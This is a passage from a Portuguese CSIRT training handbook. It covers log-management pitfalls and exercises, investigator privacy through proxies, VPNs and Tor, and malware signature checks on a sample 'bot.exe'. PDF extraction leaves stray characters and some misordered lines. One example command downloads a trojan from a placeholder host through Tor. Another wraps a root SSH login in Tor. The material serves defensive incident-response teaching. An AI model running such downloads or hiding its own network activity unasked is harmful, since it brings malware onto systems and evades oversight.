zenadas. Existem muitas razões para que um sistema de log seja atacado. Obviamente, a primeira delas é evitar que as ações de um atacante sejam registradas e, em última análise, evitar que um comprometimento seja identificado. Em ataques mais sofisticados, entretanto, os atacantes utilizam técnicas que podem alterar informações específicas nas mensagens de logs ou ainda inserir informações espúrias de modo a desorientar a investigação dos eventos. Sendo assim, os ataques à infraestrutura de logs devem ser considerados um fator crítico para a segurança da instituição. Um atacante com acesso as informações armazenadas pode identificar dados de servidores vulneráveis, nomes de usuários e possíveis falhas de segurança. De forma resumida, os ataques à infraestrutura de logs podem ter diversas motivações,

q

entre elas: 11 Destruir rastros de comprometimento; 11 Destruir informações armazenadas; 11 Modificar informações presentes nos logs; 11 Obter informações sensíveis sobre a infraestrutura. Tais ameaças devem ser observadas pelos administradores de rede. Cabe aos administradores assegurar que as informações de logs sejam íntegras, confidenciais e disponíveis para análise. Diferentes mecanismos podem ser empregados para aprimorar a segurança da infraestrutura de logs, entre eles: restringir o acesso ao sistema de arquivo, assegurar que informações logs trafegadas na rede não possam ser acessadas; determinar os sistemas que podem registrar informações de log no servidor centralizado. Além de questões relativas à segurança do sistema de logs em si, é fundamental que os admi-

q

nistradores de sistemas atentem para os equívocos mais frequentes na gerência de logs: 11 Ausência de logs: pior que não analisar os logs de forma frequente é não ativar os sistemas de logs para registrar eventos. Todo sistema passível de produzir logs deve ser configurado para exportar essas informações para uma estrutura centralizada ou mesmo para um arquivo localmente armazenado. Do contrário, investigações, análises e resolução de problemas não podem contar com o auxílio dos logs; 11 Não analisar os logs: não basta apenas coletar as informações dos diferentes dispositivos e sistemas, é importante ter alguma rotina manual ou automatizada para analisar as informações armazenadas nos arquivos de logs; 11 Armazenar informações de log por um curto período de tempo: as informações presentes nos logs podem ser utilizadas para investigar incidentes de segurança passados e também para prever possíveis anomalias em uma análise temporal; 11 Priorizar os logs antes mesmo de serem coletados: os logs só podem ser priorizados depois de serem coletados pelos diversos aplicativos e sistemas. Priorizar logs de certos dispositivos ou aplicações apenas permite uma visão parcial dos eventos desprezando possíveis consequências ou desdobramentos de uma ação registrada;


d

149

11 Ignorar logs de aplicações: os logs dos sistemas são essenciais, mas nem sempre

q

podem mapear todas as ações. Registrar eventos de aplicações é uma tarefa fundamental para identificar causas de problemas, como por exemplo, o motivo pelo qual uma aplicação está consumindo todos os recursos de memória do sistema; 11 Buscar apenas por padrões maliciosos conhecidos: a busca por padrões conhecidos nos logs vai apenas demonstrar dados de ataques já conhecidos e possivelmente já tratados pelas ferramentas de segurança disponíveis na instituição. Como alternativa, podem ser utilizadas a sumarização de informação e a técnica de ignorância artificial, ambas previamente descritas.

Recomendações para sistemas de logs Como visto no decorrer do capítulo, é essencial para um CSIRT conhecer os detalhes de um sistema de armazenamento de logs onde notificações de sistemas e alertas de segurança são registrados. Nem todos os CSIRTs são responsáveis por desenvolver um sistema de logs para uma instituição. No entanto, muitas vezes um CSIRT pode auxiliar na especificação de um sistema de logs, ou ainda sugerir melhorias para a equipe responsável pela gerência dos logs. Sendo assim, a seguir são listadas algumas recomendações que podem ser úteis no gerenciamento dos logs. 11 Utilizar poucos arquivos de logs: embora seja possível separar os logs em diferentes arquivos – por severidade, por aplicação, entre outros – recomenda-se a utilização de poucos arquivos para armazenar as notificações. Segundo alguns autores, poucos arquivos de logs facilitam etapas de gerenciamento e correlação de eventos; 11 Automatizar etapas: é recomendável ter um processo automatizado para sumarização dos logs. Dessa forma, um processo de sumarização de informações implementado de forma periódica tende a auxiliar o gerenciado do grande volume de informações tratadas; 11 Evitar complexidade: nem sempre soluções complexas de análise de logs são efetivas e fáceis de serem gerenciadas. Por exemplo, soluções de análise de logs que mesclam diferentes técnicas, tal como regras dinâmicas e identificação de limiares são complexas de serem gerenciadas e mantidas em um ambiente sempre crescente; 11 Centralizar os logs: centralizar as informações dos diferentes sistemas permite que os dados sejam correlacionados de forma transparente. Além disso, a centralização dos logs endereça algumas questões de segurança, tal como armazenamento e acesso às informações de sistemas não acessíveis localmente;


11 Implementar estrutura independente: um bom sistema de log tende a ser disseminado para todos os departamentos da instituição. Desenvolver e gerenciar uma infraestrutura de logs baseada em único fabricante – formato proprietário – pode tornar inviável a adoção do sistema por outros departamentos. Formatos abertos são mais fáceis de configurar e permitem adequar às características de ambientes heterogêneos; 11 Obter ou receber logs instantaneamente: algumas mensagens de logs requerem ações logo após terem sido geradas. Em cenários onde as mensagens são apenas obtidas uma única vez no dia, certas mensagens de logs podem ser observadas muito tarde; 11 Utilizar mesmo formato de hora: configurar todos os sistemas para registrar os eventos em horário UTC é considerado uma boa política. Nem sempre os sistemas de logs registram o timestamp com o fuso horário utilizado. Logo, usar um mesmo fuso horário facilita no processo de análise de incidentes sem ter a necessidade de verificar se os sistemas estão no fuso horário correto. 150

q

Figura 7.9 Encaminhamento de relatórios

Leitura recomendada: 11 Nist 800-92 guide to computer security log management; 11 Logging and Log Management: The Authoritative Guide to Understanding the Concepts Surrounding Logging and Log Management – Anton A. Chuvakin; 11 UNIX and Linux System Administration Handbook (4th Edition);


11 RFC 5424: http://tools.ietf.org/html/rfc5424

151

152


Roteiro de atividades 7 Atividade 7.1 – Syslog O Syslog é uma ferramenta utilizada por muitos sistemas e aplicações para registrar eventos. Infelizmente, a configuração atual do Syslog não disponibiliza informações completas do timestamp da mensagem. Descreva como configurar o Syslog de maneira a complementar as informações de timestamp e inserir dados de fuso horário (time zone).

Atividade 7.2 – Infraestrutura de logs Faça uma análise da infraestrutura de log da sua instituição e aborde as seguintes questões: a. Os logs são armazenados em uma estrutura centralizada?

b. Qual é a política de armazenamento de logs? Por quanto tempo as informações são arma-

c. No caso de utilizar NAT, como essas informações são armazenadas no sistema de logs? A porta de origem e a porta de destino dos acessos são armazenadas?


zenadas? Quais tipos de logs? Qual é a forma de armazenamento (DVD, fita etc.)?

153

d. Os logs são analisados de forma automatizada? Que tipos de relatório são utilizados? Do ponto de vista gerencial, você considera eficiente a utilização da técnica de ignorância artificial?

e. Descreva uma política de rotação de logs que seja mais adequada para o gerenciamento da sua infraestrutura (rotação mensal ou diária, arquivamento automático, formato da hora, indexação).

f. Um servidor parou de armazenar localmente as mensagens de logs. Enumere possíveis motivos que levariam um servidor a parar de logar eventos do sistema. Como detectar isso de forma automatizada?

g. Durante a investigação foi detectado que os logs não existem ou estão corrompidos?


Como lidar com isso internamente e externamente?

Atividade 7.3 – Mensagens de logs Identifique circulando as informações que você achar relevante (horário, serviço, servidor, endereços) nos logs a seguir e faça uma pequena descrição do ocorrido: a.

1. Jun

1 00:00:11 router.at.br1603306: Jun

1 00:00:10: %TCP-6-

BADAUTH: No MD5 digest from 10.10.143.253(179) to 10.10.143.1(44354) (RST) 2. Jun

1 00:00:14 router.at.br1603307: Jun

1 00:00:13: %TCP-6-

BADAUTH: No MD5 digest from 10.10.143.253(64216) to 10.10.143.1(179) 154

3. Jun

1 00:00:17 router.at.br1603308: Jun

1 00:00:16: %TCP-6-BADAUTH:

No MD5 digest from 10.10.143.253(179) to 10.10.143.1(26679) (RST) Descrição:

b.

1. Mar 20 12:19:12 syslog2 syslog-ng[35313]: I/O error occurred while 2. writing; fd=’12’, error=’No buffer space available (55)’ 3. Mar 20 12:19:12 syslog2 syslog-ng[35313]: Connection broken; 4. time_reopen=’60’ Descrição:

c.

1. Apr

3 00:25:11 heman kernel: [12216.240091] device eth0 entered

promiscuous mode 2. Apr

3 01:25:12 heman kernel: [12217.507323] device eth0 left

promiscuous mode Descrição:

d.

3 00:32:54 fuji kernel: [12679.516081] usb 2-4: new high

speed USB device number 3 using ehci_hcd 2. Apr

3 00:32:54 fuji NetworkManager[1844]:

SCPlugin-Ifupdown:

devices added (path: /sys/devices/pci0000:00/0000:00:13.2/usb2/2-4/24:1.0/net/wlan0, iface: wlan0) 3. Apr

3 00:32:54 fuji kernel: [12679.650334] Chip Version Info:

CHIP_8188E_Normal_Chip_TSMC_A_CUT_1T1R_RomVer(0) 4. Apr

3 00:32:57 fuji dhclient: DHCPREQUEST of 10.0.0.8 on wlan0 to

255.255.255.255 port 67 (xid=0x62019f89)


1. Apr

155

Descrição:

e.

1. 10.10.10.10 galynych.com - [05/Apr/2014:01:58:55 +0400] “POST /wplogin.php HTTP/1.0” 200 4220 “-” “-” 2. 10.10.10.10 galynych.com - [05/Apr/2014:01:58:56 +0400] “POST /wplogin.php HTTP/1.0” 200 4220 “-” “-” 3. 10.10.10.10 galynych.com - [05/Apr/2014:01:58:57 +0400] “POST /wplogin.php HTTP/1.0” 200 4220 “-” “-” Descrição:

Atividade 7.4 – Sumarização de logs Utilizando os comandos apresentados neste capítulo para sumarizar as informações de logs dos seguintes arquivos (localizados na pasta “logs-sessao-07” de seu computador): access.log


iptables.log

156

Atividade 7.5 – Análise de logs Analise os logs da sua máquina de maneira a responder as seguintes questões: a. Qual foi o último reinício da máquina? Em que arquivo essa informação está presente?

b. Localize o arquivo de configuração do seu sistema syslog e identifique os diferentes tipos de facility. Qual é a facility utilizada para armazenar as mensagens de logs relativas ao


sistema (kernel)?

157

158


8 Discutir cuidados necessários para a efetiva investigação de incidentes de segurança; Identificar características de incidentes; Conhecer algumas ferramentas que podem ser utilizadas na análise de incidentes.

conceitos

Análise de arquivos binários; Identificação de características obtidas em artefatos encontrados.

Introdução A análise de incidentes busca identificar mais informações sobre as atividades relacio-

q

nadas com o incidente em si. Essa análise pode revelar contribuições valiosas para a resolução do incidente provendo, de forma complementar, o entendimento das ações realizadas pelo atacante. Resumidamente, a análise de incidente busca: 11 Validar o incidente; 11 Obter mais informações do incidente; 11 Determinar os vetores de ataque; 11 Determinar as vulnerabilidades do sistema; 11 Determinar o impacto técnico e operacional; 11 Coordenar informações adicionais com outras partes envolvidas. Nem sempre todos os incidentes de segurança que chegam até a equipe podem ser investigados de forma extensiva. A grande maioria das investigações busca obter dados relevantes dos incidentes de modo a solucionar uma falha de segurança explorada. No entanto, o CSIRT pode ter políticas internas para especificar que tipos de incidentes devem ser investigados de forma mais detalhada, incluindo aspectos operacionais, e encaminhamento legal para os eventos identificados. Um processo de investigação de incidentes pode ter efeitos indesejados: 11 Buscar mais dados de um ataque pode resultar no eventual vazamento de informações sobre o incidente, o que pode colocar a instituição em uma situação delicada; 11 Identificar mais dados do incidente requerem tempo e recursos que, nem sempre, estão disponíveis para a instituição;

q

Capítulo 8 - Ferramentas para análise de incidentes

objetivos

Ferramentas para análise de incidentes

11 Elencar mais informações do incidente pode ferir a política de segurança de uma instituição. 159

Diversos métodos podem ser empregados para coletar informações detalhadas de um incidente. Quando um incidente de segurança é identificado, por exemplo, a equipe do CSIRT tem

q

em mãos um conjunto básico de informações que podem ser utilizadas como ponto de partida de uma investigação: 11 Endereços IPs envolvidos; 11 Domínios de redes; 11 Ações suspeitas; 11 Serviços abusados; 11 Protocolos utilizados; 11 Malwares; 11 Logs de eventos. Além de tais informações sensíveis previamente identificadas nas etapas iniciais do incidente, existem outras fontes que podem ser úteis na composição do cenário de investigação. Para isso, é importante que a equipe do CSIRT tenha conhecimento de ferramentas básicas para análise de dados de incidentes, incluindo ferramentas de sistemas e serviços online disponibilizados gratuitamente na rede. O objetivo deste capítulo é apresentar ferramentas e técnicas com as quais os membros de um CSIRT podem aplicar em uma análise prévia e superficial de incidentes de segurança. Foge do escopo deste capítulo realizar uma análise forense de máquinas comprometidas e investigar arquivos maliciosos de maneira minuciosa. Sendo assim, é importante lembrar que a investigações executadas diretamente em sistemas suspeitos de comprometimento podem destruir evidências, como: horário de acesso de arquivos e histórico de execução dos comandos. Por questões de organização, este capítulo incialmente discute preocupações relativas à privacidade dos acessos de um CSIRT, sobretudo em etapas de investigação de incidentes. Posteriormente, são descritas ferramentas que podem ser úteis na investigação de artefatos obtidos em máquinas infectadas. E, por fim, são apresentadas algumas listas de bloqueio e base de dados com informações de sistemas comprometidos que podem ser usados para correlacionar informações de eventos de segurança.

Preocupações de privacidade Ao realizar uma tarefa de investigação de incidentes o CSIRT deve ter cuidados adicio-

q


nais evitando que suas atividades sejam mapeadas por terceiros. Do contrário, as ações

160

realizadas pelo CSIRT podem ser seriamente prejudicadas. Algumas ações decorrentes da identificação dos acessos são: 11 Bloqueios de acesso; 11 Alvo de ataques; 11 Modo de operação. Certas atividades realizadas pelo CSIRT podem ser facilmente mapeadas por terceiros. Em especial, os acessos de rede realizados pelo CSIRT revelam dados de endereçamento IP e características operacionais, tal como Sistema Operacional, navegador web utilizado e perfil de acesso a sites.

Em alguns casos, a identificação do endereçamento de rede do CSIRT pode acarretar em restrições de acessos a determinadas redes. Tem-se conhecimento de que alguns fraudadores e atacantes bloqueiam determinados endereços de rede a fim de evitar a identificação de suas atividades. Por exemplo, um website com fraude pode não estar acessível para o bloco de endereçamento CSIRT, mas sim para as demais redes. Adicionalmente, o simples fato de saber que uma investigação está sendo conduzida pelo time pode fazer com que um atacante altere suas táticas. Em casos mais raros, a identificação pode levar com que os criminosos lancem represálias ao CSIRT como. por exemplo, uma negação de serviço distribuído para o IP identificado. De fato, a investigação de um incidente de segurança sempre deixará algum rastro. Por mais cuidado que se tome, sempre existe a probabilidade de que algumas informações sejam mapeadas pelo alvo da investigação. Os acessos realizados pelo CSIRT podem tornar um sistema facilmente rastreável de maneiras nem sempre tão óbvias. Por exemplo, um nave-

w

Um projeto denominado Panopticlick desenvolveu um website onde é possível identificar quão único e rastreável é um browser testado: https:// panopticlick.eff.org/

gador web (browser) pode ser utilizado para identificar um usuário ou investigador do CSIRT. Quando um navegador acessa um site, um conjunto de informações é enviado para o servidor web destino. Esse conjunto de informações corresponde a características muitas vezes únicas de navegador, tal como: versão do navegador (user-agent), Sistema Operacional, fontes. Os plug-ins (flash, java) também disponibilizam outro conjunto de dados que podem ser utilizados para identificar o browser. Existem alguns trabalhos na área de privacidade que investigam a entropia das informações disponibilizadas pelo browser a fim de utilizá-la para mapear as atividades. Para isso, o Panopticlick analisa todas as informações que o browser compartilha com os sites visitados e correlaciona com informações presentes na base de dados do próprio

Figura 8.1 Análise da rastreabilidade de um browser.


serviço. A figura a seguir ilustra o resultado de um teste:

161

No exemplo, compondo apenas as informações que o browser forneceu para o site Panopticlick, pode-se constatar que o browser testado pode ser unicamente identificado em toda a base de dados do projeto. Além do Panopticlick, existem outros projetos que buscam ilustrar apenas informações de cabeçalho que o browser fornece para uma aplicação. O site a seguir, por exemplo, discrimina todas as informações disponibilizadas pelo browser: http://browserspy.dk/ Já outros serviços prometem identificar se o acesso está sendo realizado através de um servidor proxy: http://www.iprivacytools.com/proxy-checker-anonymity-test/ Tais serviços e técnicas de identificação são úteis para conscientização de usuários sobre

q

a privacidade. No contexto de resposta a incidentes, esses serviços podem auxiliar na identificação de possíveis rastros – pegadas digitais – deixados pelos acessos realizados pela equipe. É importante notar que mesmo utilizando diferentes endereçamentos IPs, o mapeamento do browser vai identificar que o acesso foi realizado do mesmo local. Diante disso, a equipe do CSIRT deve primar por certo nível de privacidade nas tarefas desempenhadas. Existem alguns recursos que a equipe pode implementar para evitar que as suas ativi-

q

dades sejam identificadas, como por exemplo: 11 Proxies; 11 Proxies web; 11 VPN; 11 Rede TOR. Na sequência são descritas as principais técnicas utilizadas por CSIRT para evitar que suas conexões e atividades sejam mapeadas por cibercriminosos.

Proxies Uma das maneiras mais populares para mascarar os acessos na rede é através do uso de

q

servidores proxy. Os proxies são sistemas que atuam como intermediários para os acessos na rede. Para isso, o proxy atua entre o cliente que faz a requisição por um serviço e o servidor que responde a requisição.


Boa parte das instituições utilizam serviços de proxy para gerenciar as conexões dos usuá-

162

rios permitindo o uso de Web-Cache, filtro de conteúdo e bloqueio de sites, muito embora o proxy também possa ser utilizado por questões de privacidade. Afinal, quando se utiliza um proxy, todas as requisições são primeiramente enviadas para o proxy e posteriormente para o seu destino com endereçamento do proxy, ou seja, com a origem mascarada. Algumas características dos proxies: 11 Não existe privacidade entre o cliente e o proxy. O servidor proxy tem conhecimento de todas as informações do cliente que solicitou o acesso às informações; 11 O endereçamento do proxy pode ser facilmente mapeado; afinal, todas as conexões realizadas iram ter como origem o endereço do próprio proxy;

q

11 Existem diferentes tipos de proxies. Diferentes proxies que suportam diferentes pro-

q

tocolos. Os principais protocolos suportados são: 22 HTTP: o protocolo para comunicação web. Um dos protocolos mais utilizados para a comunicação com servidores proxy atuando apenas com requisições TCP; 22 SOCKS 4: é um protocolo de comunicação intermediário que suporta apenas tráfego TCP, não permitindo nenhuma forma de autenticação para acesso; 22 SOCKS 5: o protocolo SOCKS 5 é a extensão do protocolo SOCKS 4. É incorporado suporte aos protocolos TCP e UDP e, também, a possibilidade de usar diferentes métodos de autenticação.

Web-Proxies Os Web-Proxies são essencialmente proxies HTTP embutidos em uma interface web.

q

Dessa maneira, um usuário acessa um website específico e insere o endereço da página web que deseja acessar de forma anônima. O Web-Proxy recebe como parâmetro uma URL a ser visitada e disponibiliza no próprio corpo da página o conteúdo visitado usando via Proxy, como pode ser observado na figura:

opções de acesso

Figura 8.2 Acesso de um website utilizando o serviço de proxy ‘goprivate.eu’.

A imagem ilustra o uso de um serviço de Proxy-Web. Na parte superior, o usuário pode como bloqueio de cookies, bloqueio de scripts e outros. Na referida consulta, foi requisitada a URL: http://wwww.whatismyip.com/ e o seu conteúdo é disponibilizado no corpo da página web. No corpo da mensagem é disponibilizado o conteúdo do acesso. Como curiosidade, a página requisitada “www.whatismyip.com” exibe o IP de origem da requisição. Como pode ser visto, o IP de origem – que representa o IP do Web-Proxy – é 141.105.125.183 tendo como origem Holanda. Esse fato confirma que o acesso foi realizado via proxy. Naturalmente, a utilização de Web-Proxies é mais fácil. Do contrário, o usuário deveria configurar um proxy HTTP nas próprias configurações do seu navegador web. Existem diferentes serviços de Web-Proxy disponíveis na rede. Boa parte dos serviços é gratuita; no entanto, existem serviços pagos que incorporam funcionalidades adicionais, assim como filtro de conteúdo e proteção contra sites maliciosos. Exemplo de sites que podem ser utilizados


definir a URL do site a ser acessado pelo proxy e também alguns parâmetros de acesso, tal

para navegação anônima: 163

11 Anonymouse: http://anonymouse.org/ 11 Cloack: https://incloak.com/ 11 Goprive: http://goprivate.eu/ Cada serviço é independente e implementa suas próprias particularidades para acesso anônimo. O preceito básico é acessar o website usando o próprio endereço do serviço, ocultando o real IP que solicitou o serviço. Mesmo ocultando o IP do solicitando, existem serviços que implementam diferentes níveis de anonimato, atuando no nível do cabeçalho do protocolo HTTP. O serviço anonymouse, por exemplo, remove informações do User-Agent e do tipo do

q

browser utilizado pelo usuário. Entretanto, o serviço opta por inserir informações que sinalizam a utilização do serviço Web-Proxy, inserindo a string “http://Anonymouse.org/ (Unix)” no campo User-Agent do cabeçalho HTTP:

GET /index.html HTTP/1.1 Host: mail82.anonymouse.org User-Agent: http://Anonymouse.org/ (Unix) Connection: keep-alive Essas informações de cabeçalho geralmente não alteram a apresentação do website, mas chegam até o servidor do site requisitado. Isso significa que o servidor do website pode identificar que este foi requisitado via um serviço de “anonimização”. Em outros serviços, por exemplo, outras informações são embutidas no cabeçalho da requisição. No exemplo a seguir um determinado serviço de Web-Proxy opta por manter as informações do User-Agent original do requisitante. No entanto, o serviço insere o campo “VIA” informando o IP do proxy utilizado, como

q

pode ser visualizado a seguir.

GET /index.html HTTP/1.1 Host: notsohide.com User-Agent: Mozilla/5.0 (X11; OpenBSD amd64) AppleWebKit/537.17 Connection: keep-alive VIA: 200.X.X.X As diferentes implementações tornam alguns serviços mais “anônimos” que outros. O


conjunto de informações providas pelos serviços de Web-Proxies podem ser utilizados para

164

identificar o próprio serviço. Sendo assim, alguns servidores web maliciosos optam por não responder requisições oriundas de serviços de anonimização ou, ainda, requisições com certas diretivas presentes no cabeçalho HTTP. Cabe ao CSIRT avaliar o serviço a ser utilizado tendo em vista os diferentes aspectos de privacidade dos Web-Proxies. A título de curiosidade, existem websites que listam VPNs supostamente mais anônimas, as quais não armazenam informações de logs. Dessa forma, ao lidar com incidentes onde tais VPNs são utilizadas, o CSIRT certamente terá problemas de identificação.

w Saiba mais em http:// torrentfreak.com/ vpn-services-that-take-your-anonymity-seriously-2013-edition/

Virtual Private Network (VPN) De forma similar aos proxies, uma VPN permite que uma conexão seja estabelecida com

q

um servidor remoto permitindo que o tráfego seja enviado através deste. A principal diferença, com relação aos proxies, reside no fato de que toda transmissão ocorre de forma criptografada. Para isso uma conexão VPN cria uma espécie de um túnel seguro entre dois dispositivos de rede utilizando uma autenticação compartilhada entre as duas extremidades do túnel. Um CSIRT pode construir sua própria infraestrutura de VPN. Para isso, pode ser contratado um servidor remoto localizado em outros país e através de um software específico, tal como OpenVPN, configurar os seus dispositivos para acesso. Por outro lado, é também possível encontrar serviços de VPN especializados tendo como foco a anonimização do tráfego. Alguns serviços comerciais, por exemplo, permitem o estabelecimento de um túnel encriptado com um pool de centenas de IPs rotativos. Dessa maneira, a cada estabelecimento de sessão um novo IP de saída é designado. Isso dificulta o rastreamento e o mapeamento das atividades do CSIRT. Exemplos de serviços de VPN: 11 Private Internet Access: https://www.privateinternetaccess.com/ 11 Privacy.io: https://privacy.io/ 11 Viking VPN: http://vikingvpn.com/ 11 IP Vanish: http://www.ipvanish.com/ Esses serviços são muitos utilizados por CSIRT e também por usuários que residem em países com censura de conteúdo. Com isso, todas as conexões de um sistema são encaminhadas para o servidor remoto da VPN, tipicamente localizado em outro país, a partir do qual os acessos são efetivamente estabelecidos.

Rede Tor A rede Tor – The Onion Router – é uma rede desenvolvida para prover anonimato aos

q

seus usuários que acessam a internet. O Tor é gratuito e pode ser utilizado na maioria dos Sistemas Operacionais. O funcionamento da rede consiste no roteamento não determinístico das informações entre os nodos da rede.

por repassar o fluxo de informações de forma criptografada a partir de um ponto inicial até um dos milhares de nodos de saídas da rede. Nesse nodo final, a requisição é descriptografada e repassada o seu destino. Nodos de saída são servidores especiais que são responsáveis por encaminhar o tráfego até o seu destino e também ser o ponto de entrada para o tráfego retornado. A rede Tor possui inúmeros servidores de saída; no entanto, a escolha destes é realizada de forma não determinística. Quando uma requisição TOR é solicitada, o servidor destino não sabe o seu IP originador, mas sim o IP do nodo Tor de saída. Além do mais, a rede TOR não tem como identificar o IP originador da requisição, pois o conhecimento está disseminado na rede. Cada nodo que repassa as informações sabe apenas parte do caminho realizado pelos dados. Os nodos não sabem por que outros nódulos pelos quais a informações trafegou.


Os computadores dispersos pelo mundo que fazem parte da rede Tor são responsáveis

165

Uso da rede Tor na investigação de incidentes Como descrito, o Tor é uma ferramenta gratuita e disponível em diversas plataformas e

q

Sistemas Operacionais. Existe um conjunto de ferramentas que permitem acessar a rede Tor para realizar as mais diferentes tarefas, tal como navegação web de forma anônima, download de malwares, acesso a serviços IRC e outros. Para anonimizar as atividades na web, temos basicamente duas opções: a) instalar a ferramenta “tor” e configurar o seu browser para acessar a internet via SOCKS usando a porta 9050/TCP (localhost), porta padronizada para tráfego de dados na rede TOR; b) utilizar o software Tor Browser Bundle: https://www.torproject.org/projects/torbrowser.html O Tor Browser Bundle é um browser com todos os requisitos para navegar na rede Tor autocontidos. Ou seja, não necessita a instalação de nenhum recurso extra para acessar dados de forma anônima. Além do acesso via browser, é possível usar a rede Tor a partir da linha de comando. Isso é muito útil em casos onde se necessita obter um malware da rede ou ainda acessar outros protocolos. Uma dessas ferramentas é o torproxy, que atua como SOCKS para a rede Tor: https://code.google.com/p/torsocks/ Utilizando o torsocks é possível acessar aplicações que permitem a utilização de SOCKs diretamente via rede TOR, como exemplificado a seguir: usewithtor [aplicação]

$ usewithtor wget http://site.malware/trojan.exe Ou ainda:

$ usewithtor ssh root@server Por fim, a rede Tor constitui mais uma alternativa para os CSIRT ocultarem suas atividades da rede e evitar com que suas atividades sejam identificadas por atacantes. Sabe-se no entanto que existem algumas limitações da rede incluindo o próprio desempenho da rede. Devido às características intrínsecas do protocolo, uma série de nodos intermediários é


utilizada no processo de roteamento inserindo uma latência considerável no mesmo.

166

Figura 8.3 Notícia sobre prisão de usuário da rede Tor.

Mecanismos de busca Existem outros mecanismos de busca com foco em privacidade. Um dos mais populares é o DuckDuckGo.com: http://duckduckgo.com/

A busca de informações relativas a incidentes na web pode ser muito efetiva. Além de auxiliar na identificação de detalhes de incidentes, os mecanismos de busca podem ser úteis para revelar o modus operandi do ataque e até mesmo os responsáveis pelo ataque. Assim como comentado anteriormente, recomenda-se zelar pela privacidade das informações. O histórico de consulta e histórico de navegação pode revelar o perfil das atividades desempenhas pela equipe do CSIRT. Logo, é importante, ao realizar consultas a mecanismos de busca, não estar associado a nenhuma conta, tal como a conta de usuário de serviços (Google, Yahoo! etc.). Adicionalmente, existem algumas extensões para o navegador web que podem ser utilizadas para evitar aprimorar a segurança e privacidade da navegação. O site a seguir apresenta um conjunto de extensões específicas para cada tipo de browser: http://fixtracking.com/ Além dos tradicionais mecanismos de busca, devem-se buscar informações em fontes

q

auxiliares, tal como websites de redes sociais e microblogs. Sites como Twitter podem ser úteis para identificar ataques em andamento ou fazer o planejamento. Uma simples busca por “attack ”, “tango down ” e “DoS ” podem revelar possíveis ataques a um domínio. A seguir, exemplos de informações de incidentes que podem ser investigados: 11 Artefato encontrado: muitas vezes informações contidas nos artefatos encontrados nos sistema comprometido, tal como: comentário do código fonte, assinaturas e hash criptográfico podem ser úteis para identificar mais detalhes sobre o incidente investigado; 11 Método de comprometimento: em alguns casos, a forma com que o sistema foi comprometido pode representar uma assinatura de um ataque. Isso é muito observado em ataques a aplicativos web, onde uma sequência específica de comandos é utilizada para comprometer o sistema; 11 Endereço IP: a busca pelo endereço IP que originou o ataque pode revelar informações surpreendentes. Por exemplo, identificar que existem fóruns de segurança comentando sobre as atividades maliciosas originadas pelo IP.

Analisadores de malwares Muitas vezes, ao investigar um incidente de segurança, a equipe do CSIRT depara-se com

q

artefatos de atacantes e também arquivos maliciosos. Nesse processo de investigação, a análise do arquivo malicioso pode revelar mais detalhes do incidente identificando, por exemplo, ações desempenhadas pelo arquivo malicioso, vetores de ataque, motivações dos atacantes e, até mesmo, o desenvolvedor dos malwares. O interesse por entender o funcionamento e características de um arquivo malicioso é uma preocupação recorrente, embora a análise de malwares seja uma atividade complexa e carece de conhecimentos especializados. Nem sempre os CSIRTs possuem mão de obra especializada para investigar malwares, tampouco, tempo hábil para analisar todos os malwares e artefatos obtidos. Em alguns incidentes de segurança, no entanto, onde é importante que a equipe do CSIRT tente obter detalhes do comprometimento que, via de regra, passa por uma investigação de malware.


w

167

Existe um conjunto de técnicas e ferramentas que podem auxiliar os membros da equipe

q

na investigação de arquivos maliciosos. Os principais procedimentos consistem em: 11 Assinaturas de malwares: identificação de características únicas do malware com as quais é possível classificar um arquivo malicioso; 11 Análise comportamental: ações desempenhadas pelo arquivo malicioso quando executado no Sistema Operacional. Por questões didáticas, vamos usar um arquivo malicioso específico nas diferentes análises que serão apresentadas: Nome do Arquivo

bot.exe

MD5

d262b68451826588002bcbb27b28dbef

SHA 256

ea5cd9326d4bb1ff89054e57c67e7f6d2925cba543aa04f214f90f730c62f1f0

Tabela 8.4 Arquivo malicioso.

Assinaturas de malwares Uma das principais ferramentas para combater malwares são os sistemas de antivírus. As tradicionais ferramentas tentam identificar uma assinatura – uma sequência característica de bytes – para identificar um código malicioso. A assinatura de um sistema de antivírus é útil para identificar as ações de um arquivo

q

malicioso. A listagem anterior ilustra a execução do antivírus Clamav (clamscan), antivírus gratuito e de código aberto: http://clamav.net/.

$ clamscan /tmp/bot.exe /tmp/bot.exe: Trojan.Poebot-21 FOUND ----------- SCAN SUMMARY ----------Known viruses: 3050244 Engine version: 0.97.8 Scanned directories: 0 Scanned files: 1 Infected files: 1 Data scanned: 0.12 MB


Data read: 0.12 MB (ratio 1.00:1)

168

Time: 8.057 sec (0 m 8 s) A listagem anterior ilustra a inspeção do arquivo “bot.exe”, tendo como resultado a assinatura “Trojan.Poebot-21”. O nome da assinatura pode ser utilizado para obter informações adicionais significantes sobre o malware. Através de uma pesquisa no website do fabricante do antivírus, é possível obter informações do possível vetor de infecção e ações desempenhadas pelo malware. A figura 8.4 ilustra os detalhes da assinatura relativa ao malware “Poebot” obtida no website da empresa Microsoft (http://www.microsoft.com/security/ portal/threat/). Nessa figura, é possível obter a descrição do comportamento e funcionalidades do malware (payload).

Figura 8.4 Descrição das funcionalidades do malware.

Sendo assim, o investigador pode supor que a máquina comprometida pelo malware “bot.exe” possivelmente faz parte de uma botnet, onde diversas ações maliciosas podem ser desem-

As assinaturas de arquivos maliciosos não são padronizadas, ou seja, o nome dado para cada assinatura é dependente das empresas do sistema de antivírus. As empresas de sistemas de antivírus estão constantemente analisando novos malwares para a identificação de assinaturas que possam indicar um arquivo malicioso. Assim que uma assinatura é identificada, costuma-se atribuir um nome que identifique a assinatura seguindo a nomenclatura da própria empresa. Logo, um mesmo malware verificado por um antivírus pode ter uma assinatura completamente diferentes em outros sistemas de antivírus.

Ferramentas multiantivírus Existem alguns serviços que permitem submeter arquivos suspeitos para detecção de assinatura em múltiplas ferramentas de antivírus. Dessa forma, é possível identificar quais assinaturas são atribuídas ao arquivo analisado e, ainda, se o mesmo arquivo é classificado como malicioso nos diferentes antivírus.


penhadas na rede local e também destinadas a redes externas.

169

Boa parte dos serviços que analisam malwares em múltiplas plataformas de antivírus está disponível gratuitamente na rede. A seguir são apresentados os principais serviços para análise de arquivos maliciosos em

q

múltiplas ferramentas de antivírus: 11 VirusTotal: https://www.virustotal.com/ 11 Virscan: http://www.virscan.org/ 11 Metascan: https://www.metascan-online.com/ Mesmo existindo diversos serviços para inspeção de arquivos maliciosos, atualmente o serviço mais completo é o VirusTotal. O VirusTotal é um serviço gratuito que permite analisar arquivos suspeitos e também

q

